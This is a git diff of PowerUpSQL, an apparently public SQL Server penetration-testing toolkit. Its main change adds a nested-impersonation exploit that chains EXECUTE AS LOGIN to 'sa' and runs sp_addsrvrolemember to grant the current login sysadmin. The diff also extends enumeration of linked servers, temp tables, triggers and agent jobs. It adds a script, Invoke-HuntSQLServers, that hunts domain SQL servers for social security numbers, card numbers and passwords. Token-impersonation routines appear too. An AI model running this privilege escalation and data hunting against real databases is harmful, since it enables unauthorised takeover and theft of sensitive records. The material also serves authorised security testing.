($CurrentLogin) is NOT a sysadmin." @@ -22073,6 +23171,44 @@ Function Invoke-SQLAuditPrivImpersonateLogin Write-Verbose -Message "$Instance : - EXPLOITING: The current login ($CurrentLogin) is already a sysadmin. No privilege escalation needed." $Exploited = 'No' } + } + # --------------------------------------------------------------- + # Exploit Nested Impersonation Vulnerability + # --------------------------------------------------------------- + if($Nested) + { + # Status user + Write-Verbose -Message "$Instance : - EXPLOITING: Starting Nested Impersonation exploit process (under assumption to levels of nesting and 1st first can impersonate sa)..." + + # Check if user is already a sysadmin + $SysadminPreCheck = Get-SQLQuery -Instance $Instance -Username $Username -Password $Password -Credential $Credential -Query "SELECT IS_SRVROLEMEMBER('sysadmin','$CurrentLogin') as Status" -SuppressVerbose | Select-Object -Property Status -ExpandProperty Status + if($SysadminPreCheck -ne 1) + { + # Status user + Write-Verbose -Message "$Instance : - EXPLOITING: Verified that the current user ($CurrentLogin) is NOT a sysadmin." + Write-Verbose -Message "$Instance : - EXPLOITING: Attempting to add the current user ($CurrentLogin) to the sysadmin role..." + + # Attempt to add the current login to sysadmins fixed server role + $null = Get-SQLQuery -Instance $Instance -Username $Username -Password $Password -Credential $Credential -Query "EXECUTE AS LOGIN = '$ImpersonatedLogin';EXECUTE AS LOGIN = 'sa';EXEC sp_addsrvrolemember '$CurrentLogin','sysadmin'" + + # Verify the login was added successfully + $SysadminPostCheck = Get-SQLQuery -Instance $Instance -Username $Username -Password $Password -Credential $Credential -Query "SELECT IS_SRVROLEMEMBER('sysadmin','$CurrentLogin') as Status" -SuppressVerbose | Select-Object -Property Status -ExpandProperty Status + if($SysadminPostCheck -eq 1) + { + Write-Verbose -Message "$Instance : - EXPLOITING: It was possible to make the current user ($CurrentLogin) a sysadmin!" + $Exploited = 'Yes' + } + else + { + Write-Verbose -Message "$Instance : - EXPLOITING: It was not possible to make the current user ($CurrentLogin) a sysadmin." + } + } + else + { + # Status user + Write-Verbose -Message "$Instance : - EXPLOITING: The current login ($CurrentLogin) is already a sysadmin. No privilege escalation needed." + $Exploited = 'No' + } } } else @@ -22438,7 +23574,7 @@ Function Invoke-SQLImpersonateServiceCmd Process { # Status user - Write-Output "Note: The verbose flag will give you more info if you need it." + Write-Host "Note: The verbose flag will give you more info if you need it." # Get SQL services Write-Verbose "Gathering list of SQL Server services running locally..." @@ -22474,7 +23610,7 @@ Function Invoke-SQLImpersonateServiceCmd # Run executable as service account if($s_pathname -like "$p_ExecutablePath"){ - Write-Output "$s_instance - Service: $s_displayname - Running command `"$Exe`" as $s_serviceaccount" + Write-Host "$s_instance - Service: $s_displayname - Running command `"$Exe`" as $s_serviceaccount" # Setup command $MyCmd = "/C $Exe" @@ -22491,7 +23627,7 @@ Function Invoke-SQLImpersonateServiceCmd End { # Status user - Write-Output "All done." + Write-Host "All done." } } @@ -22781,7 +23917,7 @@ Blog on this script: http://clymb3r.wordpress.com/2013/11/03/powershell-and-toke $MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters) $MethodBuilder.SetImplementationFlags('Runtime, Managed') - Write-Output $TypeBuilder.CreateType() + Write-Host $TypeBuilder.CreateType() } @@ -22814,7 +23950,7 @@ Blog on this script: http://clymb3r.wordpress.com/2013/11/03/powershell-and-toke $HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle) # Return the address of the function - Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure)) + Write-Host $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure)) } ############################### @@ -24282,11 +25418,11 @@ Blog on this script: http://clymb3r.wordpress.com/2013/11/03/powershell-and-toke { if ($Success) { - Write-Output "RevertToSelf was successful. Running as: $([Environment]::UserDomainName)\$([Environment]::UserName)" + Write-Host "RevertToSelf was successful. Running as: $([Environment]::UserDomainName)\$([Environment]::UserName)" } else { - Write-Output "RevertToSelf failed. Running as: $([Environment]::UserDomainName)\$([Environment]::UserName)" + Write-Host "RevertToSelf failed. Running as: $([Environment]::UserDomainName)\$([Environment]::UserName)" } } } @@ -24398,14 +25534,14 @@ Blog on this script: http://clymb3r.wordpress.com/2013/11/03/powershell-and-toke elseif ($ImpersonateUser) { Invoke-ImpersonateUser -hToken $hToken | Out-Null - Write-Output "Running As: $([Environment]::UserDomainName)\$([Environment]::UserName)" + Write-Host "Running As: $([Environment]::UserDomainName)\$([Environment]::UserName)" } Free-AllTokens -TokenInfoObjs $AllTokens } elseif ($PsCmdlet.ParameterSetName -ieq "WhoAmI") { - Write-Output "$([Environment]::UserDomainName)\$([Environment]::UserName)" + Write-Host "$([Environment]::UserDomainName)\$([Environment]::UserName)" } else #Enumerate tokens { @@ -24413,11 +25549,11 @@ Blog on this script: http://clymb3r.wordpress.com/2013/11/03/powershell-and-toke if ($PsCmdlet.ParameterSetName -ieq "ShowAll") { - Write-Output $AllTokens + Write-Host $AllTokens } else { - Write-Output (Get-UniqueTokens -AllTokens $AllTokens).TokenByUser.Values + Write-Host (Get-UniqueTokens -AllTokens $AllTokens).TokenByUser.Values } Invoke-RevertToSelf @@ -24476,11 +25612,11 @@ function Test-IsLuhnValid if ((($checksum + $checksumDigit) % 10) -eq 0 -and $NumCount -ge 12) { - Write-Output -InputObject $true + Write-Host -InputObject $true } else { - Write-Output -InputObject $false + Write-Host -InputObject $false } } @@ -24524,7 +25660,7 @@ function ConvertTo-Digits $digits[$i] = $digit $n = [math]::Floor($n / 10) } - Write-Output -InputObject $digits + Write-Host -InputObject $digits } @@ -25242,27 +26378,54 @@ function Invoke-Parallel # Source: http://www.padisetty.com/2014/05/powershell-bit-manipulation-and-network.html # Notes: Changed name from checkSubnet to Test-Subnet (Approved Verbs) +# Updates by Ryan Cobb (cobbr) function Test-Subnet ([string]$cidr, [string]$ip) { $network, [int]$subnetlen = $cidr.Split('/') $a = [uint32[]]$network.split('.') - [uint32] $unetwork = ($a[0] -shl 24) + ($a[1] -shl 16) + ($a[2] -shl 8) + $a[3] + [uint32] $unetwork = (Convert-BitShift $a[0] -Left 24) + (Convert-BitShift $a[1] -Left 16) + (Convert-BitShift $a[2] -Left 8) + $a[3] - $mask = (-bnot [uint32]0) -shl (32 - $subnetlen) + $mask = Convert-BitShift (-bnot [uint32]0) -Left (32 - $subnetlen) $a = [uint32[]]$ip.split('.') - [uint32] $uip = ($a[0] -shl 24) + ($a[1] -shl 16) + ($a[2] -shl 8) + $a[3] + [uint32] $uip = (Convert-BitShift $a[0] -Left 24) + (Convert-BitShift $a[1] -Left 16) + (Convert-BitShift $a[2] -Left 8) + $a[3] $unetwork -eq ($mask -band $uip) } +# Source: https://stackoverflow.com/questions/35116636/bit-shifting-in-powershell-2-0 +function Convert-BitShift { + param ( + [Parameter(Position = 0, Mandatory = $True)] + [int] $Number, + + [Parameter(ParameterSetName = 'Left', Mandatory = $False)] + [int] $Left, + + [Parameter(ParameterSetName = 'Right', Mandatory = $False)] + [int] $Right + ) + + $shift = 0 + if ($PSCmdlet.ParameterSetName -eq 'Left') + { + $shift = $Left + } + else + { + $shift = -$Right + } + + return [math]::Floor($Number * [math]::Pow(2,$shift)) +} + #endregion ######################################################################### # -#region Primary FUNCTIONs -# Invoke-SQLDump, Invoke-SQLAudit, Invoke-SQLEscalatePriv +#region PRIMARY FUNCTIONS +# Invoke-SQLDump, Invoke-SQLAudit, Invoke-SQLEscalatePriv # ######################################################################### @@ -25365,6 +26528,15 @@ Function Invoke-SQLAudit Begin { + + # If provided, verify write access to target directory + if($OutFolder){ + if((Test-FolderWriteAccess "$OutFolder") -eq $false){ + Write-Verbose -Message 'YOU DONT APPEAR TO HAVE WRITE ACCESS TO THE PROVIDED DIRECTORY.' + BREAK + } + } + # Table for output $TblData = New-Object -TypeName System.Data.DataTable $null = $TblData.Columns.Add('ComputerName') @@ -25638,7 +26810,12 @@ Function Invoke-SQLDumpInfo [Parameter(Mandatory = $false, HelpMessage = 'Write output to csv files.')] - [switch]$csv + [switch]$csv, + + [Parameter(Mandatory = $false, + HelpMessage = 'Crawl available SQL Server links.')] + [switch]$CrawlLinks + ) Begin @@ -25703,21 +26880,21 @@ Function Invoke-SQLDumpInfo $Results | Export-Csv -NoTypeInformation $OutPutPath } - # Getting DatabaseUsers + # Getting Database Users Write-Verbose -Message "$Instance - Getting database users for databases..." $Results = Get-SQLDatabaseUser -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose -NoDefaults if($xml) { - $OutPutPath = "$OutFolder\$OutPutInstance"+'_Database_Users.xml' + $OutPutPath = "$OutFolder\$OutPutInstance"+'_Database_users.xml' $Results | Export-Clixml $OutPutPath } else { - $OutPutPath = "$OutFolder\$OutPutInstance"+'_Database_Users.csv' + $OutPutPath = "$OutFolder\$OutPutInstance"+'_Database_users.csv' $Results | Export-Csv -NoTypeInformation $OutPutPath } - # Getting DatabasePrivs + # Getting Database Privs Write-Verbose -Message "$Instance - Getting privileges for databases..." $Results = Get-SQLDatabasePriv -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose -NoDefaults if($xml) @@ -25731,7 +26908,7 @@ Function Invoke-SQLDumpInfo $Results | Export-Csv -NoTypeInformation $OutPutPath } - # Getting DatabaseRoles + # Getting Database Roles Write-Verbose -Message "$Instance - Getting database roles..." $Results = Get-SQLDatabaseRole -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose -NoDefaults if($xml) @@ -25759,7 +26936,7 @@ Function Invoke-SQLDumpInfo $Results | Export-Csv -NoTypeInformation $OutPutPath } - # Getting DatabaseTables + # Getting Database Schemas Write-Verbose -Message "$Instance - Getting database schemas..." $Results = Get-SQLDatabaseSchema -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose -NoDefaults if($xml) @@ -25773,7 +26950,21 @@ Function Invoke-SQLDumpInfo $Results | Export-Csv -NoTypeInformation $OutPutPath } - # Getting DatabaseTables + # Getting Temp Tables + Write-Verbose -Message "$Instance - Getting temp tables..." + $Results = Get-SQLTableTemp -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose + if($xml) + { + $OutPutPath = "$OutFolder\$OutPutInstance"+'_Server_temp_tables.xml' + $Results | Export-Clixml $OutPutPath + } + else + { + $OutPutPath = "$OutFolder\$OutPutInstance"+'_Server_temp_tables.csv' + $Results | Export-Csv -NoTypeInformation $OutPutPath + } + + # Getting Database Tables Write-Verbose -Message "$Instance - Getting database tables..." $Results = Get-SQLTable -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose -NoDefaults if($xml) @@ -25834,12 +27025,12 @@ Function Invoke-SQLDumpInfo $Results = Get-SQLServerConfiguration -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose if($xml) { - $OutPutPath = "$OutFolder\$OutPutInstance"+'_Server_Configuration.xml' + $OutPutPath = "$OutFolder\$OutPutInstance"+'_Server_configuration.xml' $Results | Export-Clixml $OutPutPath } else { - $OutPutPath = "$OutFolder\$OutPutInstance"+'_Server_Configuration.csv' + $OutPutPath = "$OutFolder\$OutPutInstance"+'_Server_configuration.csv' $Results | Export-Csv -NoTypeInformation $OutPutPath } @@ -25885,20 +27076,6 @@ Function Invoke-SQLDumpInfo $Results | Export-Csv -NoTypeInformation $OutPutPath } - # Getting Server Links - Write-Verbose -Message "$Instance - Getting server links..." - $Results = Get-SQLServerLink -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose - if($xml) - { - $OutPutPath = "$OutFolder\$OutPutInstance"+'_Server_links.xml' - $Results | Export-Clixml $OutPutPath - } - else - { - $OutPutPath = "$OutFolder\$OutPutInstance"+'_Server_links.csv' - $Results | Export-Csv -NoTypeInformation $OutPutPath - } - # Getting Server Credentials Write-Verbose -Message "$Instance - Getting server credentials..." $Results = Get-SQLServerCredential -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose @@ -25941,6 +27118,21 @@ Function Invoke-SQLDumpInfo $Results | Export-Csv -NoTypeInformation $OutPutPath } + + # Getting Stored Procedures that use Global Temp Tables + Write-Verbose -Message "$Instance - Getting stored procedures that use global temp tables..." + $Results = Get-SQLStoredProcedure -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | where ProcedureDefinition -like "*##*" + if($xml) + { + $OutPutPath = "$OutFolder\$OutPutInstance"+'_Database_stored_procedure_globaltmptbl.xml' + $Results | Export-Clixml $OutPutPath + } + else + { + $OutPutPath = "$OutFolder\$OutPutInstance"+'_Database_stored_procedure_globaltmptbl.csv' + $Results | Export-Csv -NoTypeInformation $OutPutPath + } + # Getting Custom XP Stored Procedures Write-Verbose -Message "$Instance - Getting custom extended stored procedures..." $Results = Get-SQLStoredProcedureXP -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose @@ -26002,12 +27194,12 @@ Function Invoke-SQLDumpInfo $Results = Get-SQLStoredProcedureCLR -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose if($xml) { - $OutPutPath = "$OutFolder\$OutPutInstance"+'_Database_stored_procedur_CLR.xml' + $OutPutPath = "$OutFolder\$OutPutInstance"+'_Database_stored_procedure_clr.xml' $Results | Export-Clixml $OutPutPath } else { - $OutPutPath = "$OutFolder\$OutPutInstance"+'_Database_CLR_stored_procedure_CLR.csv' + $OutPutPath = "$OutFolder\$OutPutInstance"+'_Database_stored_procedure_clr.csv' $Results | Export-Csv -NoTypeInformation $OutPutPath } @@ -26025,6 +27217,20 @@ Function Invoke-SQLDumpInfo $Results | Export-Csv -NoTypeInformation $OutPutPath } + # Getting Triggers DML that use Global Temp Tables + Write-Verbose -Message "$Instance - Getting DML triggers that use global temp tables..." + $Results = Get-SQLTriggerDml -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | where TriggerDefinition -like "*##*" + if($xml) + { + $OutPutPath = "$OutFolder\$OutPutInstance"+'_Server_triggers_dml_globaltmptbl.xml' + $Results | Export-Clixml $OutPutPath + } + else + { + $OutPutPath = "$OutFolder\$OutPutInstance"+'_Server_triggers_dml_globaltmptbl.csv' + $Results | Export-Csv -NoTypeInformation $OutPutPath + } + # Getting Triggers DDL Write-Verbose -Message "$Instance - Getting DDL triggers..." $Results = Get-SQLTriggerDdl -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose @@ -26039,17 +27245,31 @@ Function Invoke-SQLDumpInfo $Results | Export-Csv -NoTypeInformation $OutPutPath } + # Getting Triggers DDL that use Global Temp Tables + Write-Verbose -Message "$Instance - Getting DDL triggers that use global temp tables..." + $Results = Get-SQLTriggerDdl -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | where TriggerDefinition -like "*##*" + if($xml) + { + $OutPutPath = "$OutFolder\$OutPutInstance"+'_Server_triggers_ddl_globaltmptbl.xml' + $Results | Export-Clixml $OutPutPath + } + else + { + $OutPutPath = "$OutFolder\$OutPutInstance"+'_Server_triggers_ddl_globaltmptbl.csv' + $Results | Export-Csv -NoTypeInformation $OutPutPath + } + # Getting Version Information Write-Verbose -Message "$Instance - Getting server version information..." $Results = Get-SQLServerInfo -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose if($xml) { - $OutPutPath = "$OutFolder\$OutPutInstance"+'_Server_triggers_dml.xml' + $OutPutPath = "$OutFolder\$OutPutInstance"+'_Server_version.xml' $Results | Export-Clixml $OutPutPath } else { - $OutPutPath = "$OutFolder\$OutPutInstance"+'_Server_triggers_dml.csv' + $OutPutPath = "$OutFolder\$OutPutInstance"+'_Server_version.csv' $Results | Export-Csv -NoTypeInformation $OutPutPath } @@ -26081,17 +27301,31 @@ Function Invoke-SQLDumpInfo $Results | Export-Csv -NoTypeInformation $OutPutPath } - # Getting Agent Jobs Information - Write-Verbose -Message "$Instance - Getting Agent Jobs information..." + # Getting Agent Jobs + Write-Verbose -Message "$Instance - Getting Agent Jobs..." $Results = Get-SQLAgentJob -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose if($xml) { - $OutPutPath = "$OutFolder\$OutPutInstance"+'_Server_Agent_Job.xml' + $OutPutPath = "$OutFolder\$OutPutInstance"+'_Server_agent_job.xml' + $Results | Export-Clixml $OutPutPath + } + else + { + $OutPutPath = "$OutFolder\$OutPutInstance"+'_Server_agent_jobs.csv' + $Results | Export-Csv -NoTypeInformation $OutPutPath + } + + # Getting Agent Jobs that use Global Temp Tables + Write-Verbose -Message "$Instance - Getting Agent Jobs that use global temp tables..." + $Results = Get-SQLAgentJob -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose -Keyword "##" + if($xml) + { + $OutPutPath = "$OutFolder\$OutPutInstance"+'_Server_agent_job_globaltmptbl.xml' $Results | Export-Clixml $OutPutPath } else { - $OutPutPath = "$OutFolder\$OutPutInstance"+'_Server_Agent_Jobs.csv' + $OutPutPath = "$OutFolder\$OutPutInstance"+'_Server_agent_jobs_globaltmptbl.csv' $Results | Export-Csv -NoTypeInformation $OutPutPath } @@ -26100,15 +27334,45 @@ Function Invoke-SQLDumpInfo $Results = Get-SQLOleDbProvder -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose if($xml) { - $OutPutPath = "$OutFolder\$OutPutInstance"+'_Server_OleDbProvders.xml' + $OutPutPath = "$OutFolder\$OutPutInstance"+'_Server_oledbproviders.xml' + $Results | Export-Clixml $OutPutPath + } + else + { + $OutPutPath = "$OutFolder\$OutPutInstance"+'_Server_oledbproviders.csv' + $Results | Export-Csv -NoTypeInformation $OutPutPath + } + + # Getting Server Links + Write-Verbose -Message "$Instance - Getting server links..." + $Results = Get-SQLServerLink -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose + if($xml) + { + $OutPutPath = "$OutFolder\$OutPutInstance"+'_Server_links.xml' $Results | Export-Clixml $OutPutPath } else { - $OutPutPath = "$OutFolder\$OutPutInstance"+'_Server_OleDbProvders.csv' + $OutPutPath = "$OutFolder\$OutPutInstance"+'_Server_links.csv' $Results | Export-Csv -NoTypeInformation $OutPutPath } + # Getting Server Links via Crawl + if($CrawlLinks){ + Write-Verbose -Message "$Instance - Crawling linked servers..." + $Results = Get-SQLServerLinkCrawl -Instance $Instance -Username $Username -Password $Password -Credential $Credential -Export2 + if($xml) + { + $OutPutPath = "$OutFolder\$OutPutInstance"+'_Server_links_crawl.xml' + $Results | Export-Clixml $OutPutPath + } + else + { + $OutPutPath = "$OutFolder\$OutPutInstance"+'_Server_links_crawl.csv' + $Results | Export-Csv -NoTypeInformation $OutPutPath + } + } + Write-Verbose -Message "$Instance - END" } End @@ -26116,4 +27380,4 @@ Function Invoke-SQLDumpInfo } } -#endregion \ No newline at end of file +#endregion diff --git a/PowerUpSQL.psd1 b/PowerUpSQL.psd1 index ca9a263..6b6b2bb 100644 --- a/PowerUpSQL.psd1 +++ b/PowerUpSQL.psd1 @@ -1,7 +1,7 @@ #requires -Version 1 @{ ModuleToProcess = 'PowerUpSQL.psm1' - ModuleVersion = '1.104.13' + ModuleVersion = '1.105.0' GUID = 'dd1fe106-2226-4869-9363-44469e930a4a' Author = 'Scott Sutherland' Copyright = 'BSD 3-Clause' @@ -82,6 +82,7 @@ 'Get-SQLStoredProcedureXp', 'Get-SQLSysadminCheck', 'Get-SQLTable', + 'Get-SQLTableTemp', 'Get-SQLTriggerDdl', 'Get-SQLTriggerDml', 'Get-SQLView', @@ -112,7 +113,9 @@ 'Invoke-SQLOSCmdPython', 'Invoke-SQLOSCmdR', 'Invoke-SQLOSCmdAgentJob', - 'Invoke-TokenManipulation' + 'Invoke-TokenManipulation', + 'Get-DomainObject', + 'Get-DomainSpn' ) FileList = 'PowerUpSQL.psm1', 'PowerUpSQL.ps1', 'README.md' } diff --git a/README.md b/README.md index 2758a7a..cdc218e 100644 --- a/README.md +++ b/README.md @@ -26,14 +26,15 @@ PowerUpSQL includes functions that support SQL Server discovery, weak configurat For setup instructions, cheat Sheets, blogs, function overviews, and usage information check out the wiki: https://github.com/NetSPI/PowerUpSQL/wiki ### Author and Contributors -* Author: Scott Sutherland (@_nullbind) +* Author: Scott Sutherland (@_nullbind)  * Major Contributors: Antti Rantasaari, Eric Gruber (@egru), Thomas Elling (@thomaselling) -* Contributors: Alexander Leary (@0xbadjuju), @leoloobeek, Andrew Luke(@Sw4mpf0x), Mike Manzotti (@mmanzo_), and @ktaranov +* Contributors: Alexander Leary (@0xbadjuju), @leoloobeek, Andrew Luke(@Sw4mpf0x), Mike Manzotti (@mmanzo_), @TVqQAAMA, @cobbr_io, @mariuszbit (mgeeky), @0xe7 (@exploitph), phackt(@phackt_ul), @vsamiamv, and @ktaranov ### Issue Reports I perform QA on functions before we publish them, but it's hard to consider every scenario. So I just wanted to say thanks to those of you that have taken the time to give me a heads up on issues with PowerUpSQL so that we can make it better. -* Bug Reporters: @ClementNotin, @runvirus, @CaledoniaProject +* Bug Reporters: @ClementNotin, @runvirus, @CaledoniaProject, @christruncer, rvrsh3ll(@424f424f),@mubix (Rob Fuller) + ### License * BSD 3-Clause diff --git a/images/2019_Blackhat_Shirt_Back.png b/images/2019_Blackhat_Shirt_Back.png new file mode 100644 index 0000000..9c6be4f Binary files /dev/null and b/images/2019_Blackhat_Shirt_Back.png differ diff --git a/images/2019_Blackhat_Shirt_Front.png b/images/2019_Blackhat_Shirt_Front.png new file mode 100644 index 0000000..e57b2d8 Binary files /dev/null and b/images/2019_Blackhat_Shirt_Front.png differ diff --git a/images/Background-NetSPI-HackResponsibly1000.png b/images/Background-NetSPI-HackResponsibly1000.png new file mode 100644 index 0000000..e987084 Binary files /dev/null and b/images/Background-NetSPI-HackResponsibly1000.png differ diff --git a/images/Background-NetSPI-HackResponsibly2600.png b/images/Background-NetSPI-HackResponsibly2600.png new file mode 100644 index 0000000..78f9ca9 Binary files /dev/null and b/images/Background-NetSPI-HackResponsibly2600.png differ diff --git a/images/NetSPI-HackRecklessly.png b/images/NetSPI-HackRecklessly.png new file mode 100644 index 0000000..790cb5f Binary files /dev/null and b/images/NetSPI-HackRecklessly.png differ diff --git a/images/NetSPI-HackResponsibly.png b/images/NetSPI-HackResponsibly.png new file mode 100644 index 0000000..8719a08 Binary files /dev/null and b/images/NetSPI-HackResponsibly.png differ diff --git a/presentations/2012-AppSecUSA-SQL-Server-Exploitation-Escalation-and-Pilfering.pdf b/presentations/2012-AppSecUSA-SQL-Server-Exploitation-Escalation-and-Pilfering.pdf new file mode 100644 index 0000000..83cb1e1 Binary files /dev/null and b/presentations/2012-AppSecUSA-SQL-Server-Exploitation-Escalation-and-Pilfering.pdf differ diff --git a/presentations/2015-AppSecCali-10-Deadly-Sins-of-SQL-Server-Configuration.pdf b/presentations/2015-AppSecCali-10-Deadly-Sins-of-SQL-Server-Configuration.pdf new file mode 100644 index 0000000..da64d64 Binary files /dev/null and b/presentations/2015-AppSecCali-10-Deadly-Sins-of-SQL-Server-Configuration.pdf differ diff --git a/presentations/2020-Troopers20-SQL Server Hacking Tips for Active Directory Environments_Final.pdf b/presentations/2020-Troopers20-SQL Server Hacking Tips for Active Directory Environments_Final.pdf new file mode 100644 index 0000000..ccd6c00 Binary files /dev/null and b/presentations/2020-Troopers20-SQL Server Hacking Tips for Active Directory Environments_Final.pdf differ diff --git a/scripts/pending/Invoke-HuntSQLServers.ps1 b/scripts/pending/Invoke-HuntSQLServers.ps1 new file mode 100644 index 0000000..1262709 --- /dev/null +++ b/scripts/pending/Invoke-HuntSQLServers.ps1 @@ -0,0 +1,754 @@ +# ------------------------------------------ +# Function: Invoke-HuntSQLServers +# ------------------------------------------ +# Author: Scott Sutherland, NetSPI +# License: 3-clause BSD +# Version 1.2 +# Requires PowerUpSQL +function Invoke-HuntSQLServers +{ + <# + .SYNOPSIS + This function wraps around PowerUpSQL functions to inventory access to SQL Server instances associated with + Active Directory domains, and attempts to enumerate sensitive data. + .PARAMETER Username + Domain account to authenticate to Active Directory. + .PARAMETER Password + Domain password to authenticate to Active Directory. + .PARAMETER DomainController + Domain controller to authenticated to. Requires username/password or credential. + .PARAMETER Threads + Number of concurrent tasks to run at once. + .PARAMETER CheckMgmt + Perform SPN discovery of MSServerClusterMgmtAPI SPN as well. This is much slower. + .PARAMETER CheckAll + Attempt to log into all identify instances even if they dont respond to UDP requests. + .PARAMETER Output Directory + File path where all csv and html report will be exported. + .EXAMPLE + Run as current domain user on domain joined system. Only targets instances that respond to UDP scan. + PS C:\> Invoke-HuntSQLServers -OutputDirectory C:\temp\ + .EXAMPLE + Run as current domain user on domain joined system. Target all instances found during SPN discovery. + PS C:\> Invoke-HuntSQLServers -CheckAll -OutputDirectory C:\temp\ + .EXAMPLE + Run as current domain user on domain joined system. Target all instances found during SPN discovery. + Also, check for management servers that commonly have unregistered instances via additional UDP scan. + PS C:\> Invoke-HuntSQLServers -CheckAll -CheckMgmt -OutputDirectory C:\temp\ + .EXAMPLE + Run as alernative domain user against alertative domain: + PS C:\> runas /netonly /user domain\user powershell_ise.exe + PS C:\> import-module PowerUpSQL + PS C:\> Invoke-HuntSQLServers -CheckAll -OutputDirectory C:\temp\ -DomainController 192.168.1.1 -Username domain\user -Password MyPassword + .EXAMPLE + Full output example. + PS C:\> Invoke-HuntSQLServers -OutputDirectory C:\temp\ + + ---------------------------------------------------------------- + | Invoke-HuntSQLServers | + ---------------------------------------------------------------- + | | + | This function automates the following tasks: | + | | + | Instance Discovery | + | o Determine current computer's domain | + | o Query the domain controller via LDAP for SQL Server instances| + | o Filter for instances that respond to UDP scans | + | | + | Access Discovery | + | o Filter for instances that can be logged into | + | o Filter for instances that provide sysadmin access | + | o Identify potentially excessive role members (sysadmin) | + | o Identify shared SQL Server service accounts | + | o Summarize versions that could be logged into | + | | + | Data Target Discovery: Database Targets | + | o Filter based on database name | + | o Filter based on database encryption | + | | + | Data Target Discovery: Sensitive Data | + | o Social security numbers via column name | + | o Credit card numbers via column name | + | | + | Data Target Discovery: Passwords | + | o Passwords via column names | + | o Passwords in agent jobs (sysadmin) | + | o Passwords in stored procedures (sysadmin) | + | | + ---------------------------------------------------------------- + | Note: This can take hours to run in large environments. | + ---------------------------------------------------------------- + [*] Results will be written to C:\temp\test1 + [*] Start time: 09/30/2001 12:59:51 + [*] Verifying connectivity to the domain controller + [*] - Targeting domain domain.com + [*] - Confirmed connection to domain controller myfirstdc.domain.com + [*] ------------------------------------------------------------- + [*] INSTANCE DISCOVERY + [*] ------------------------------------------------------------- + [*] Querying LDAP for SQL Server SPNs (mssql*). + [*] - 100 SQL Server SPNs were found across 50 computers. + [*] - Writing list of SQL Server SPNs to C:\temp\domain.com-SQL-Server-Instance-SPNs.csv + [*] Performing UDP scanning 50 computers. + [*] - 50 instances responded. + [*] ------------------------------------------------------------- + [*] ACCESS DISCOVERY + [*] ------------------------------------------------------------- + [*] Attempting to log into 50 instances found via SPN query. + [*] - 25 could be logged into. + [*] Listing sysadmin access. + [*] - 2 SQL Server instances provided sysadmin privileges. + [*] Attempting to grab role members from 4 instances. + [*] - This usually requires special privileges + [*] - 5 role members were found. + [*] Identifying excessive role memberships. + [*] - 5 were found. + [*] Identifying shared SQL Server service accounts. + [*] - 6 shared accounts were found. + [*] Creating a list of accessible SQL Server instance versions. + [*] - 3 versions were found that could be logged into. + [*] ------------------------------------------------------------- + [*] DATABASE TARGET DISCOVERY + [*] ------------------------------------------------------------- + [*] Querying for all non-default accessible databases. + [*] - 10 accessible non-default databases were found. + [*] Filtering for databases using transparent encryption. + [*] - 2 databases were found using encryption. + [*] Filtering for databases with names that contain ACH. + [*] - 4 database names contain ACH. + [*] Filtering for databases with names that contain finance. + [*] - 1 database names contain finance. + [*] Filtering for databases with names that contain chd. + [*] - 6 database names contain chd. + [*] Filtering for databases with names that contain enclave. + [*] - 7 database names contain enclave. + [*] Filtering for databases with names that contain pos. + [*] - 2 database names contain pos. + [*] ------------------------------------------------------------- + [*] SENSITIVE DATA TARGET DISCOVERY + [*] ------------------------------------------------------------- + [*] Search accessible non-default databases for table names containing SSN. + [*] - 1 table columns found containing SSN. + [*] Search accessible non-default databases for table names containing CARD. + [*] - 7 table columns found containing CARD. + [*] Search accessible non-default databases for table names containing CREDIT. + [*] - 3 table columns found containing CREDIT. + [*] ------------------------------------------------------------- + [*] PASSWORD TARGET DISCOVERY + [*] ------------------------------------------------------------- + [*] Search accessible non-default databases for table names containing PASSWORD. + [*] - 4 table columns found containing PASSWORD. + [*] Search accessible non-default databases for agent source code containing PASSWORD. + [*] - 1 agent jobs containing PASSWORD. + [*] Search accessible non-default databases for stored procedure source code containing PASSWORD. + [*] - 0 stored procedures containing PASSWORD. + + ---------------------------------------------------------------- + SQL SERVER HUNT SUMMARY REPORT + ---------------------------------------------------------------- + Scan Summary + ---------------------------------------------------------------- + o Domain : DOMAIN.COM + o Start Time : 09/30/2001 12:59:51 + o Stop Time : 09/30/2001 13:00:17 + o Run Time : 00:00:25.7371541 + + ---------------------------------------------------------------- + Instance Summary + ---------------------------------------------------------------- + o 100 SQL Server instances found via SPN LDAP query. + o 50 SQL Server instances responded to port 1434 UDP requests. + + ---------------------------------------------------------------- + Access Summary + ---------------------------------------------------------------- + + Access: + o 25 SQL Server instances could be logged into. + o 5 SQL Server instances provided sysadmin access. + o 5 SQL Server role members were enumerated. *requires privileges + o 5 excessive role assignments were identified. + o 6 Shared SQL Server service accounts found. + + Below are the top 5: + o 10 SQLSVC_PROD + o 5 SQLSVC_UAT + o 5 SQLSVC_QA + o 2 SQLSVC_DEV + o 2 SQLApp + + Below is a summary of the versions for the accessible instances: + o 10 Standard Edition (64-bit) + o 5 Express Edition (64-bit) + o 10 Express Edition + + 